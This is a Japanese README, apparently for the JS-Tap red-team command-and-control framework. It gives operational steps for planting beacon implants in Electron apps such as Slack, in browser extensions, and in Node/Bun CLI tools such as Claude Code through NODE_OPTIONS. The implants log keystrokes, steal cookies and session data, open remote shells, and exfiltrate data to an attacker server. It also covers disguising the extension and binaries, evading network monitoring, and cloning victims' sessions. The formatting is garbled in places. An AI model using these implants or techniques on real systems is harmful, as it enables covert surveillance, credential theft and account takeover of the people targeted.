pip自体が利用できない場合は、Pythonが**「Add Python to PATH」**チェックボックスをオンにしてインストールされていることを確認してください。手動でpipをブートストラップすることもできます:``` python -m ensurepip --upgrade

#### ターゲットの分析

パッチ適用前に、`--detect-only` を使用して、ターゲットアプリの構造、セキュリティ設定、コード署名ステータスを分析します：```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app

これは以下を報告します：

• エントリポイントファイル（package.jsonから）
• ソースがminifiedか読み取り可能か
• Electronのセキュリティ設定（nodeIntegration, contextIsolation, sandboxなど）
• コード署名ステータス（macOS）
• ASAR整合性検証（macOS）
• アプリが既にパッチされているかどうか

パッチ適用```bash

cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app

オプション：

| フラグ | 説明 |
|---|---|
| `--server URL` | JS-TapサーバーのURL（パッチ適用に必須） |
| `--tag TAG` | クライアントタグ。ポータルに表示されます（デフォルト: `atom`） |
| `--detect-only` | パッチ適用なしで解析のみ実行 |
| `--no-backup` | 元のASARの `.bak` バックアップを作成しない |
| `--output PATH` | パッチ適用後のASARを元の場所ではなく別のパスに書き込む |

パッチツールは自動的に以下を行います。
- `.app` バンドル内（macOS）、`resources/` ディレクトリ内（Linux/Windows）の `app.asar` または `app/` を特定するか、直接パスを受け付けます
- 変更前に `.bak` バックアップを作成します（`--no-backup` が指定されていない場合）
- 再パッチ前に既存のパッチを検出して除去します
- 衝突を避けるためにパッチごとに一意のIPCプレフィックスを生成します
- レンダラーペイロードをエージェント内部に文字列定数として埋め込みます（シングルファイルインジェクション）

#### パッチ適用後の注意事項

| プラットフォーム | 注意事項 |
|---|---|
| **macOS** | コード署名が無効になります。アプリが「破損している」という警告を表示する場合は、`xattr -cr /path/to/App.app` を実行するか、`codesign --force --deep --sign - /path/to/App.app` で再署名してください。 |
| **Windows** | SmartScreenが初回ダウンロード時に警告を表示する可能性がありますが、既にインストール済みのアプリは再検証されません。その場でのパッチ適用は問題なく動作します。 |
| **Linux** | コード署名の強制はありません。パッチ適用後のアプリは通常通り動作します。 |

#### パッチの解除（元に戻す）

パッチを適用したアプリを元に戻すには、`.bak` ファイルを復元します：```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar

Atom Beaconの動作方法```

Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)

Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture

エージェントは、BEXビーコンが使用するのと同じ暗号化エンドポイント（`POST /client/metrics/<uuid>`）を介してサーバーと通信します。すべてのデータは、登録時に確立された鍵でAES-GCM暗号化されます。

#### ツールパネルの使用（Atomビーコン）

ポータルでAtomビーコンクライアントが選択されると、**ツール**パネルが提供されます：

**ブラウザプロキシパネル** — プロキシの開始/停止、CA証明書のダウンロード、プロキシチケットの生成を行います。リクエストはElectronアプリのネットワークコンテキストを介してルーティングされます。

**ファイルブラウザタブ** — ターゲットのファイルシステムを参照し、ファイルを読み取ります。BEXサイドカーファイルブラウザと同一ですが、Electronプロセスでネイティブに動作します。

**シェルタブ** — ターゲット上でコマンドを実行します。BEXサイドカーシェルと同一ですが、Node.jsの`child_process`を介してネイティブに動作します。

**スクリーンショットタブ** — Atomビーコンのみ。以下を提供します：
- **今すぐキャプチャ**ボタン — 手動でのオンデマンドスクリーンショット
- **自動キャプチャヒューリスティック** — 自動スクリーンショットトリガーの設定可能なトグル：
  - *ウィンドウフォーカス時にキャプチャ* — ユーザーがアプリウィンドウを切り替えた際にスクリーンショットを撮影
  - *ナビゲーション時にキャプチャ* — ページナビゲーション時にスクリーンショットを撮影（Slackのチャンネル切り替えなどのSPAナビゲーションを含む）
  - *新しいウィンドウ時にキャプチャ* — アプリが新しいウィンドウを開いた際にスクリーンショットを撮影
- **クールダウン** — ウィンドウごとの自動キャプチャ間の最小秒数（過剰な撮影を防止）

自動キャプチャはデバウンストリガーを使用します。SPAナビゲーションの場合、最後のナビゲーション/タイトル変更イベントから3秒後にスクリーンショットが撮影され、移動先のコンテンツがキャプチャされ、移動元のページがキャプチャされないようにします。

ツールパネルのバッジには、Atomビーコンクライアントに対して**Built-in**と表示されます（OSへのアクセスはエージェントにネイティブであり、外部のサイドカーバイナリに依存しないため）。

### V8ビーコン（Node.js / Bun CLIアプリ）

V8ビーコンインプラントは、環境変数を介してNode.jsおよびBun CLIアプリケーションに注入されます。ターゲットアプリケーションのパッチや変更は必要ありません。

#### ビーコンのビルド```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini

Options:

生成されるのは、サーバーURLとタグが組み込まれた自己完結型のv8-beacon.jsファイルです。

Beaconの注入

Node.jsアプリケーション向け (Gemini CLI, OpenCode, カスタムNode.jsツールなど):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool

**Bunアプリケーション向け** (Claude Code など):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude          # or any Bun-based CLI tool

両方のランタイムをカバーするために、両方の環境変数を同時に設定できます：```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"

beacon はアプリケーション自身のコードより先にロードされ、ランタイムの計測を開始します。対象アプリケーションは通常通り動作します — beacon はユーザーから見えません。

#### 仕組み```
Target CLI Application (e.g. claude, gemini)
    │ --require / --preload loads v8-beacon.js
    ▼
V8 Beacon Agent (same process)
    │ Registers with JS-Tap server
    │ RSA-OAEP key exchange → AES-GCM encrypted channel
    ▼
Heartbeat Loop (jittered interval)
    ├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
    ├── Flush captured data (network calls, keystrokes)
    ├── Exfiltrate queued data (encrypted, single endpoint)
    └── Report status (host info, capabilities, proxy state)

Network Hooks (automatic)
    ├── http.request / https.request (monkey-patched)
    ├── globalThis.fetch (monkey-patched)
    ├── http2.connect (monkey-patched)
    └── Module._load intercept for node-fetch

Stdin Hooks (automatic)
    ├── process.stdin.push / emit
    ├── tty.ReadStream.prototype.push
    └── readline.createInterface

サブプロセス処理

一部のCLIツールは、自身を子プロセスとして起動します。例えば、Gemini CLIは親プロセスで認証を実行し、その後、対話セッション（実際のAPI呼び出しが行われる場所）のために子プロセス node gemini を起動します。

V8 Beaconはこれを自動的に処理します：

• 親プロセスは __V8_BEACON_ACTIVE と __V8_BEACON_RUNTIME 環境変数を設定します
• 同じランタイム内の子プロセスは、親のセッション（__V8_BEACON_UUID、__V8_BEACON_SENDKEY、__V8_BEACON_RECVKEY を介したUUIDと暗号化キー）を継承します
• 異なるランタイムの子プロセス（例：BunアプリがNode.jsユーティリティを起動する場合）はスキップされます
• ビルドツールとパッケージマネージャー（npm、npx、yarn、tsc、eslint など）は常にスキップされます

つまり、親プロセス＋子プロセスを持つGemini CLIセッションは、ポータルではすべてのイベントが統合された単一のクライアントとして表示されます。

ツールパネルの使用（V8 Beacon）

ポータル（Nodesタブ）でV8 Beaconクライアントを選択すると、Toolsパネルが以下を提供します：

ブラウザプロキシパネル — プロキシの開始/停止、CA証明書のダウンロード、プロキシチケットの生成。リクエストはNode.js/Bunプロセスのネットワークコンテキストを経由してルーティングされます。

ファイルブラウザタブ — ターゲットのファイルシステムを参照し、ファイルを読み取ります。BEX SidecarやAtom Beaconのファイルブラウザと同様です。

シェルタブ — Node.js child_process を介してターゲット上でコマンドを実行します。

ツールパネルのバッジはBuilt-in（OSアクセスがエージェントにネイティブ）を示します。

テスト済みアプリケーション

Configuration

JS-Tapサーバー設定

デバッグ/シングルスレッド設定

jsTapServer.pyスクリプトをシングルスレッドモードで実行している場合（テスト/デモに最適）、構成オプションはjsTapServer.pyスクリプト内に直接あります。

プロキシモード

本番環境では、JS-Tapはletsencryptなどの適切なSSL証明書を持つ公開サーバー上でホストする必要があります。最も簡単な導入方法は、NGINXをJS-Tapのフロントエンドとして機能させ、letsencrypt証明書を処理し、復号化されたトラフィックをHTTPトラフィックとしてローカルでJS-Tapに転送することです（つまり、NGINXとJS-Tapは同じVPS上で実行されます）。

proxyModeをtrueに設定すると、JS-TapサーバーはHTTPモードで実行され、クライアントIPアドレスをX-Forwarded-Forヘッダーから取得します。NGINXはこれを設定するように構成する必要があります。

proxyModeがfalseに設定されている場合、JS-Tapは自己署名証明書で実行され、これはテストに便利です。クライアントIPは接続元クライアントのソースIPから取得されます。

データディレクトリ

dataDirectoryパラメータは、JS-Tapに対してSQLiteデータベースとルートディレクトリに使用するディレクトリを指定します。すべての「ルート」がデータベースに保存されるわけではなく、特にスクリーンショットやスクレイピングされたHTMLファイルは保存されません。

サーバーポート

サーバーポートの設定を変更するには、jsTapServer.pyの最終行を参照してください。``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')

### BEX ビーコン設定 (config.json)
`bex-beacon/config.json` にあります。これは、すべてのビルド設定（拡張機能、拡張機能 ID、サイドカー設定）の **単一の真実の情報源** です。```json
{
  "extension": {
    "name": "Resource Optimizer",
    "short_name": "ResOpt",
    "version": "2.1.4",
    "description": "Optimizes page resource loading for improved performance.",
    "author": "WebPerf Tools",
    "homepage_url": "https://www.example.com",
    "install_dirname": "webperf-tools"
  },
  "extension_ids": {
    "chrome_key": "",
    "chrome_key_pem": "",
    "chrome_extension_id": "",
    "firefox_extension_id": "bex-beacon@jstap"
  },
  "js_tap_server": {
    "domain": "127.0.0.1",
    "port": 8444
  },
  "heartbeat": {
    "base_interval": 5,
    "jitter_percent": 30
  },
  "domain_scoping": {
    "whitelist_enabled": false,
    "whitelist": [
      "https://*.example.com/*",
      "http://localhost:8000/*"
    ]
  },
  "sidecar": {
    "enabled": false,
    "host_name": "com.jstap.sidecar",
    "binary_name": "sidecar"
  }
}

拡張機能

拡張機能のマニフェストメタデータとデプロイ名を制御します。これらのフィールドを変更して、chrome://extensions や about:addons での拡張機能の外観を偽装します。

extension_ids

静的な拡張機能IDを制御し、決定論的ビルドを実現します。設定方法についてはStatic Extension IDsを参照してください。

js_tap_server

heartbeat

ビーコンがサーバーにチェックインしてテレメトリを報告し、新しいタスク（インジェクションコマンドやサイドカーコマンドなど）を取得する頻度を制御します。

ジッターはOPSECにとって重要です。ビーコンが完全に規則的なネットワークパターンを作成し、ネットワーク監視ツールによって検出されるのを防ぎます。各ハートビートは新しいランダム性で次のハートビートをスケジュールします。

domain_scoping

ビーコンが監視および対話するドメインを制御します。

ホワイトリストが有効な場合、ビーコンは複数のレイヤーでそれを強制します：

• コンテンツスクリプトインジェクション — ホワイトリストパターンに一致するページにのみ注入されます
• テレメトリ報告 — ホワイトリストにないドメインはサーバーに報告されません
• JS-Tapインジェクションタスク — ホワイトリストにないドメインへの注入はブロックされます
• ヘッダーキャプチャ — リクエストヘッダーはホワイトリストに登録されたドメインに対してのみキャプチャされます

これは、厳密なスコープ要件を持つレッドチーム演習にとって重要です。whitelist_enabled: true に設定することで、ビーコンが範囲外のドメインと対話しないことが保証されます。

ホワイトリストパターンの例：```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]

#### sidecar
BEX Beacon内のオプションのネイティブメッセージング機能を制御します。詳細は上の[Sidecar](#sidecar-native-messaging)セクションを参照してください。

| フィールド | 説明 |
|---|---|
| `enabled` | `false` = ネイティブメッセージングなし（デフォルト）。`true` = サイドカーサポートを有効化。拡張機能マニフェストに`nativeMessaging`権限を追加。 |
| `host_name` | ネイティブメッセージングホスト名。デフォルト: `com.jstap.sidecar` |
| `binary_name` | コンパイルされたサイドカーバイナリの名前。デフォルト: `sidecar`。ターゲットシステム上でバイナリを偽装するために変更します（例: `chrome-helper`）。 |

統合ビルドスクリプトは、`extension_ids`からサイドカーの設定に拡張機能IDを自動的に同期するため、IDを一箇所で設定するだけで済みます。

### JS-Tap ペイロード (telemlib.js) 設定
これらの設定変数は **initGlobals()** 関数内にあります。

#### JS-Tap サーバーの場所
ペイロードが接続先とするJS-TapサーバーのURLを設定する必要があります。```
window.taperexfilServer = "https://127.0.0.1:8444";

モード

trap または implant のいずれかに設定 これは変数で設定されます:``` window.taperMode = "trap"; or window.taperMode = "implant";

#### トラップモードの開始ページ
トラップモードでのみ必要です。上記の**Operating Modes**セクションの説明を参照してください。<br>
iFrameトラップが設定されたときにユーザーが開始するページを設定します。```
window.taperstartingPage = "http://targetapp.com/somestartpage";

現在のページでトラップを開始したい場合、iframeトラップ内でユーザーを別のページにリダイレクトする代わりに、次のように使用できます：``` window.taperstartingPage = window.location.href;

#### Client Tag
複数のアプリケーションやデプロイメントに対して同時にJS-Tapを使用している場合に、どのペイロードが読み込まれたかを視覚的に示すために便利です。/payloadsディレクトリ全体が提供されているため、異なるモード、スタートページ、クライアントタグで設定された複数のJS-Tapペイロードを持つことができます。

このタグ文字列（短くしてください！）は、JS-Tapポータルのクライアントニックネームの先頭に付加されます。使用するアプリケーションに適した設定で各ペイロードを構成し、どのアプリでクライアントが動作しているかを示すタグを追加してください。```
window.taperTag = 'whatever';

自定义负载任务

用于配置客户端是否检查自定义负载任务以及检查频率。抖动设置允许您可选地设置下限和上限修正值。将在这两个数值之间随机选择一个值，并将其添加到检查延迟中。设置为0和0以禁用抖动。``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;

#### クライアントフィンガープリンティング
これは、多数の属性に基づいてクライアントのフィンガープリントを計算するために有効化できます。このフィンガープリンティングから非常に短いハッシュが作成されます。この短いハッシュは、**App SettingS**で有効化することで、オプションでクライアントカードに表示できます。クライアントリストのフィルターは、このフィンガープリントでフィルタリングでき、同じコンピュータ上で動作している可能性のある複数のJS-Tapクライアントを識別できます。企業がユーザーに同一のシステムを配布している場合、それらが同じフィンガープリント値を持つ可能性が高いことに注意してください。

JS-Tapペイロードでフィンガープリント計算を有効にするには:```
window.taperFingerprint = true;

Even if the fingerprint is being calculated, it will not show in the client cards unless the feature is enabled in App Settings as well.

Note you can filter the client list by fingerprint hashes to show clients that are most likely to be the same computer.

Exfiltrate HTML

true/false設定で、閲覧した各ページのHTMLコードのコピーが外部送信されるかどうかを指定します。これらの外部送信されたHTMLファイルは、フォーム送信用カスタムペイロードを自動生成する際にCSRFトークンのソースを見つけるために必要です。``` window.taperexfilHTML = true;

#### フォーム送信のコピー
すべてのフォーム投稿のコピーをインターセプトするかどうかの true/false 設定。```
window.taperexfilFormSubmissions = true;

MonkeyPatch APIs

XHRおよびFetch APIのモンキーパッチ（monkeypatching）を有効にします。これはトラップモードで動作します。インプラントモードでは、Fetch APIのみがモンキーパッチされます。モンキーパッチにより、JavaScriptを実行時に書き換えることができます。この機能を有効にすると、JavaScriptコードが使用するXHRおよびFetchネットワーキングAPIが書き換えられ、それらのネットワークコールの内容を取得できるようになります。jQueryおよびAjaxベースのネットワークコールは、内部で使用しているXHR APIを介してキャプチャされることに注意してください。APIコールのカスタムペイロードを自動生成するには、もちろん、このモンキーパッチ機能を使用してAPIコールをインターセプトする必要があります。``` window.monkeyPatchAPIs = true;

## JS-Tap ポータル

サーバースクリプトの起動時に提供される管理者認証情報（`adminCreds.txt`にも保存）でログインします。

### クライアント管理

クライアントは左側にタイプ別にグループ化されて表示されます。クライアントリスト上部のトグルボタンを使って表示を切り替えます。

* **Apps** — DOM Beacon クライアント（telemlib.js ペイロードから）
* **Browsers** — BEX Beacon クライアント
* **Electrons** — Atom Beacon クライアント（パッチ適用済み Electron アプリから）
* **Nodes** — V8 Beacon クライアント（Node.js/Bun CLI アプリから）

クライアントを選択すると、右側にそのイベント（戦利品）の時系列が表示されます。リストをフィルタリング（例：Apps から Browsers に切り替え）すると、現在選択されている戦利品ビューが暗くなりグレースケールに変化し、「バックグラウンド」データであることを示します。

**Browsers** ビューの場合、詳細列のヘッダーに **戦利品 / ツール** トグルが表示されます。
* **戦利品** タブ — 訪問したドメインとインジェクションコントロールを示すドメインカード。
* **ツール** タブ — ブラウザプロキシパネル（常に表示）とサイドカーパネル（折りたたみ可能、ビーコンがサポートしている場合）。

Atom Beacon クライアント（**Electrons** ビュー）と V8 Beacon クライアント（**Nodes** ビュー）にも **戦利品 / ツール** トグルがあります。これらのツールパネルは、別のサイドカーバイナリを必要とせずに、組み込みのファイルブラウジングとシェルアクセスを提供します。Atom Beacon にはさらにスクリーンショットコントロールがあります。

**BEX Beacon（Browsers）** は展開して訪問済みの全ドメインを表示できます。ドメインリストから DOM Beacon インジェクションをトリガーできます。サイドバーの BEX Beacon カードには、正常にスパウンされた DOM Beacon の概要が表示されます。

クライアントリストは時間（最初の表示、最後の更新受信）で並べ替え可能で、「スター付き」クライアントのみを表示するようにフィルタリングできます。また、クライアントリストの上部にあるクイックフィルター検索を使用して、入力された文字列を含むクライアントをすばやくフィルタリングできます。これは、ペイロード設定でオプションのタグを設定した場合に便利です。オプションのタグはクライアントのニックネームの前に付加されて表示されます。フィルタリングは、オプションのタグ、ニックネーム、IP アドレス、フィンガープリント、ブラウザ、プラットフォーム、クライアントタイプ、ドメイン、および UUID に対してチェックされます。検索用語の前に「!」を付けることでフィルター検索を反転できることに注意してください。たとえば、Firefox を使用していないすべてのクライアントを表示するには、フィルター用語「!firefox」を使用します。`&&` を使用して複数の用語を AND ロジックで組み合わせることもできます（例：`linux && chrome && !bex`）。

各クライアントには「x」ボタン（スターの近く）があります。これにより、そのクライアントのセッションを削除できます。クライアントがジャンクや役に立たないデータを送信している場合、そのクライアントが将来データを送信するのを防ぐことができます。

JS-Tap ペイロードが開始すると、JS-Tap サーバーからセッションを取得します。新しいクライアントセッションの発行を停止する場合は、上部の **アプリ設定** を選択して、新しいクライアントセッションを無効にできます。また、クライアントの「フィンガープリント」の表示を有効にすることもできます。フィンガープリントは、特定のシステム上のユーザーのブラウザに固有であるべき非常に短いハッシュ値です。これにより、どの JS-Tap クライアントが実際に同じ個人である可能性があるかを識別するのに役立ちます。JS-Tap クライアントはフィンガープリント計算を実行するように設定されている必要があることに注意してください。クライアントフィルター検索バーはフィンガープリントフィールドも検索するため、同一のフィンガープリントを持つクライアントを簡単に表示できます。

**アプリ設定** でメール通知を設定して、新しいクライアントやクライアントの新しいイベントを通知することもできます。これは SMTP（TLS）のみに基づいており、通知メールを複数の受信者に送信できます。「メール遅延」オプションにより、絶え間ないメールのスパムを防ぎ、遅延期間中に発生したすべての通知のロールアップメールを受け取ります。

**アプリ設定** でクライアントリストの自動更新頻度を変更でき、特定の IP アドレスが JS-Tap セッションを受信しないようにブロックすることもできます。

JS-Tap ネットワークトラフィックを検査からよりよく隠したい場合は、**アプリ設定** でトラフィックの難読化を有効にします。これは、webcrypto API が利用可能な HTTPS を使用するアプリケーションで機能します。JS-Tap クライアントはアプリケーションレベルですべてのトラフィックを暗号化し、C2 サーバーの単一の API エンドポイントに送信します。サーバーはそれを復号化し、サーバー側でルーティングします。JS-Tap C2 からの応答（カスタムペイロードなど）もこの単一の API エンドポイントから送信され、暗号化されます。タップされたブラウザが Web Crypto API をサポートしていない場合、JS-Tap は従来の難読化されていないトラフィックにフォールバックすることに注意してください。

各クライアントには「メモ」機能があります。特定のクライアントに関する juicy な情報（認証情報、API トークンなど）を見つけた場合、それをクライアントメモに追加できます。すべてのクライアントを確認してメモを作成したら、上部の **すべてのメモを表示** 機能を使用して、すべてのクライアントからすべてのメモを一度にエクスポートできます。

イベントリストは、スクリーンショットなど特定のものに焦点を当てたい場合に、イベントタイプでフィルタリングできます。DOM Beacon クライアントの場合、イベント/戦利品リストは _自動的には_ 更新されません（クライアントリストは更新されます）。最新のイベントを読み込むには、左側のクライアントを再度選択する必要があります。Atom Beacon および BEX Beacon クライアントは、スクロール位置をリセットせずに新しいイベントを段階的に追加する自動更新イベントビューを使用します。

### BEX インジェクション
ビーコンのドメインインテリジェンスを表示するとき、**DOM Beacon をインジェクト** をクリックしてインジェクションをキューに入れることができます。
* インジェクションスクリプトがリクエストされると、「SUCCESS」バッジが表示されます。
* スパウンされた DOM Beacon のニックネームが自動的にリンクされ、ドメインカードとビーコンのサイドバーカードに表示されます。
* インジェクションは、ユーザーが現在ターゲットドメインにいる場合はすぐに、または次回訪問時に実行されます。

### JS-Tap チケット & JS-Tap Conductor（セッションクローン）

BEX Beacon は、ターゲットが訪問するすべてのドメインの Cookie（httpOnly を含む）、localStorage、sessionStorage、認証ヘッダーをキャプチャします。**JS-Tap チケット** を使用すると、そのセッションデータすべてをポータブルなブロブとしてエクスポートでき、**JS-Tap Conductor** はそれを自分のブラウザで再生して、被害者としてブラウジングできます。

#### JS-Tap チケットの生成

1. JS-Tap ポータルで、BEX Beacon クライアントを選択し、そのドメインリストを展開します。
2. クローンしたいドメインカードの **セッションチケット** ボタンをクリックします。
3. チケットが base64 エンコードされた文字列としてクリップボードにコピーされます。

チケットには以下が含まれます。
- ドメインのすべての Cookie（httpOnly、secure、sameSite、path、domain、有効期限のメタデータ付き）
- キャプチャされたリクエストヘッダー（Authorization、x-api-key など）
- localStorage と sessionStorage のキー/値ペア
- 被害者の生の User-Agent 文字列、プラットフォーム、ブラウザ
- ドメインの訪問済み URL（最新順）

**重要:** 正しいドメインエントリからチケットを生成してください。たとえば、`reddit.com` と `www.reddit.com` はビーコンのデータ内で別個のドメインエントリです。認証 Cookie を保持している方を選択してください。

#### JS-Tap Conductor のインストール

JS-Tap Conductor はスタンドアロンの Firefox MV2 拡張機能です。**Firefox でなければなりません** — これは、発信リクエストにヘッダーを注入するために Firefox の MV2 `webRequestBlocking` API に依存しており、Chrome MV3 はこれをサポートしていません。

一時的な拡張機能としてロードするには:

1. Firefox を開き、`about:debugging#/runtime/this-firefox` に移動します。
2. **「一時的なアドオンを読み込む...」** をクリックします。
3. `jstap-conductor/` ディレクトリを参照し、`manifest.json` を選択します。

JS-Tap Conductor アイコン（JS-Tap ロゴ）が Firefox のツールバーに表示されます。一時的な拡張機能は Firefox を閉じるまで持続します。再起動後は再読み込みする必要があります。

#### JS-Tap Conductor の使用

1. ツールバーの JS-Tap Conductor アイコンをクリックしてポップアップを開きます。
2. JS-Tap チケットをテキストエリアに貼り付け、**インポート** をクリックします。
3. JS-Tap Conductor は次のことを行います。
   - ドメインの **すべての Cookie を設定**（httpOnly Cookie を含む、拡張機能にはこの権限があります）。
   - **ヘッダーインジェクションを登録** — Authorization ヘッダーおよびその他のキャプチャされたヘッダーが、`webRequest.onBeforeSendHeaders` を介してすべての一致するリクエストに注入されます。
   - **User-Agent を偽装** — 被害者の User-Agent 文字列が、そのドメインへのすべての発信リクエストヘッダーであなたのものを置き換えます。
   - **ストレージを設定** — ドメインに移動すると、localStorage と sessionStorage のエントリが書き込まれます。
   - **navigator API を偽装** — Firefox を実行していても、`navigator.userAgent`、`navigator.platform`、および `navigator.appVersion` がページの JavaScript コンテキストでモンキーパッチされ、被害者の値を返すようになります。これにより、クライアントサイドの UA チェックを無効にします。
4. インポートしたチケットの **開く** をクリックして最初にキャプチャされた URL に移動するか、手動でドメインに移動します。
5. これで、被害者のセッションとしてブラウジングできるはずです。

ポップアップには **チケット履歴**（最新 10 件のチケット）が表示され、Cookie、ヘッダー、localStorage、sessionStorage アイテムのバッジカウントが表示されます。セッションチケットとプロキシチケットの両方が履歴に表示されます。各チケットはアクティブ化/非アクティブ化または削除できます。プロキシチケットは、ターゲットポートとドメインを示す「proxy」バッジで視覚的に区別されます。

**非アクティブ化** を使用すると、チケットのセッションインジェクションを無効にしつつ保持できます。**削除** を使用すると完全に削除できます。

#### 動作確認

- **Cookie:** Firefox DevTools → ストレージ → Cookie を開きます。インポートされたすべての Cookie（httpOnly を含む）が表示されるはずです。
- **ヘッダー:** DevTools → ネットワークタブを開きます。発信リクエストの Authorization ヘッダーと User-Agent ヘッダーが被害者の値と一致していることを確認します。
- **ストレージ:** DevTools → ストレージ → ローカルストレージ / セッションストレージを開きます。インポートされたキーが存在することを確認します。
- **navigator 偽装:** ブラウザコンソールを開き、`navigator.userAgent` と入力します。Firefox のものではなく、被害者の UA 文字列が返されるはずです。

### ブラウザプロキシ

ブラウザプロキシを使用すると、自分のブラウザトラフィックを被害者のブラウザ（または Node.js/Electron プロセス）経由でリアルタイムにルーティングできます。リクエストは被害者のネットワークコンテキストから実行されるため、ターゲットサイトは被害者の IP と TLS フィンガープリントを認識します。

プロキシは **BEX Beacon**、**Atom Beacon**、および **V8 Beacon** でサポートされています。

#### 仕組み

1. ポータルでビーコンを選択し、**ツール** タブに切り替えます。
2. ブラウザプロキシパネルの **プロキシを開始** をクリックします。サーバーがローカルポートを割り当てます（パネルに表示されます）。
3. ブラウザを設定して、`127.0.0.1:<ポート>` を HTTP/HTTPS プロキシとして使用します。
4. **CA 証明書** をダウンロードし、ブラウザの証明書ストアにインストールします（HTTPS MITM に必要）。
5. 通常どおりブラウジングします。すべてのリクエストはビーコンの WebSocket 接続を介して転送され、被害者のネットワークから実行されます。

プロキシは、JS-Tap CA によって署名された動的に生成されるドメインごとの証明書を使用して TLS 終端を実行します。これにより、HTTPS トラフィックを透過的に検査および中継できます。

#### 構成可能なワークフロー

プロキシは「ダムパイプ」です。オペレーターのブラウザが送信するものをそのまま転送し、認証情報を注入または変更しません。これにより、セッションチケットと組み合わせて 4 つの異なるワークフローが可能になります。

| ワークフロー | セットアップ | 結果 |
|---|---|---|
| **プロキシのみ** | プロキシを開始、セッションチケットなし | 被害者のネットワーク/IP を介した認証なしブラウジング |
| **セッションチケットのみ** | Conductor でセッションチケットをインポート、プロキシなし | オペレーターの IP から直接の認証済みブラウジング |
| **プロキシ + セッションチケット** | プロキシとセッションチケットの両方をアクティブ化 | 被害者のネットワークを介した認証済みブラウジング — Conductor が Cookie/ヘッダー/UA をオペレーターのブラウザに注入し、MITM プロキシがそれらをビーコンに転送 |
| **プロキシ + 独自ログイン** | プロキシを開始、プロキシ経由で手動ログイン | 被害者のネットワークを介したオペレーター自身のセッション |

**プロキシ + セッションチケット** ワークフローの場合、JS-Tap Conductor がすべてのセッションインジェクション（Cookie、ヘッダー、User-Agent、ストレージ、navigator 偽装）を処理します。MITM プロキシは、注入されたヘッダーを含むオペレーターの完全なリクエストをビーコンに転送し、ビーコンは被害者のネットワークからフェッチを実行します。

#### プロキシチケット

プロキシがアクティブな間、**プロキシチケット** をクリックして、Conductor のプロキシ設定を自動構成する JS-Tap Conductor 互換チケットを生成できます。Conductor でプロキシチケットをインポートすると、プロキシ設定を手動で構成しなくても、Firefox トラフィックをビーコン経由でルーティングできます。

### サイドカー / ツールパネルの使用

BEX Beacon クライアントにサイドカーが接続されている場合、**ツール** タブに **サイドカー** パネル（デフォルトでは折りたたまれ、ブラウザプロキシパネルの下）が表示されます。Atom Beacon および V8 Beacon クライアントは、**ツール** として同じパネルを **組み込み** バッジ付きで表示します（OS アクセスはエージェントにネイティブであるため）。パネルにはタブがあります。

#### ファイルブラウザタブ
- ファイルブラウザは、パネルが最初にロードされると自動的にユーザーのホームディレクトリをリストします。
- フォルダ名または `..` エントリをクリックしてディレクトリを移動します。
- パス入力は常に現在の位置を反映し、手動で編集できます。
- ファイルの **読み取り** をクリックすると、その内容が表示されます（base64 デコードされ、テキストとして表示）。
- **ディレクトリリストに戻る** をクリックすると、ファイルビューから戻ります。
- **アップロード:** ファイルを選択し、**アップロード** をクリックして現在のブラウズディレクトリに書き込みます。アップロードが成功すると、リストが自動更新されます。最大ファイルサイズは 700 KB です。

#### シェルタブ
- コマンド間で作業ディレクトリ（CWD）を追跡するインタラクティブターミナル。
- プロンプトには、ターゲットシステム上の現在のディレクトリが表示されます（例：`/home/user $ `）。
- コマンドを入力し、**Enter** を押すか、**実行** をクリックして実行します。
- CWD はコマンド間で維持されます（`cd /tmp` の後に `ls` を実行すると `/tmp` がリストされます）。
- **コマンド履歴:** **上/下** 矢印キーを使用して以前のコマンドを循環します。
- **ポップアウト:** **ポップアウト** ボタンをクリックすると、シェルが独立したタイトルバー、完全なコマンド履歴、独立した操作を備えたスタンドアロンウィンドウで開きます。
- 出力は色分けされています。プロンプトは緑、stdout は白、stderr は赤です。
- CWD 追跡は POSIX シェル構文を使用し、Linux/macOS ターゲットで動作します。

#### スクリーンショットタブ（Atom Beacon のみ）
- **今すぐキャプチャ** — 追跡されているすべてのウィンドウのスクリーンショットを手動でトリガーします。
- **自動キャプチャトグル** — ウィンドウフォーカス、ナビゲーション、新しいウィンドウイベントでの自動スクリーンショットを有効/無効にします。
- **クールダウン** — ウィンドウごとの自動キャプチャ間の最小秒数（デフォルト: 30、最小: 5）。
- **設定を保存** をクリックすると、トグル/クールダウンの変更がリアルタイムでエージェントにプッシュされます。

**注意:** コマンドは非同期です。コマンドを送信すると、UI は結果をポーリングします。ビーコン/エージェントはコマンドを取得して結果を返すためにチェックイン（ハートビート）する必要があります。デフォルトのハートビート設定では、数秒の遅延が予想されます。

### カスタムペイロード
JS-Tap ポータルで複数の JavaScript ペイロードを追加し、単一のクライアント、すべての現在のクライアントで実行したり、将来のすべてのクライアントで自動実行するように設定したりできます。ペイロードは JS-Tap ポータル内で作成/編集するか、ファイルからインポートできます。ペイロードはエクスポートすることもできます。ペイロードをインポートするための形式はシンプルな JSON です。JavaScript コードと説明は単純に base64 エンコードされています。```
